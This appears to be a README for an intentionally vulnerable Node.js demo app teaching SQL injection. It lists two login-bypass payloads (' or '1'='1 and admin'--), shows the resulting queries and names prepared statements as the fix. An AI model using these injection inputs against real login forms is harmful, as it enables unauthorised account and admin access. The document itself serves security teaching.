This application is a demonstration prototype just to show how to perform SQLi attack.
-
Install nodejs
-
Install dependencies
$ npm install
- Start application
$ npm start
Open http://localhost:3000/ and log in with:
- username: ' or '1'='1
- password: ' or '1'='1
SELECT name FROM user where username = '' or '1'='1' and password = '' or '1'='1'
You are now log in as "User", but you can do better!
Open http://localhost:3000/ and log in with:
- username: admin'--
- password: a
SELECT name FROM user where username = 'admin' --' and password = 'a'
You are now log in as "Admin"
use prepared statement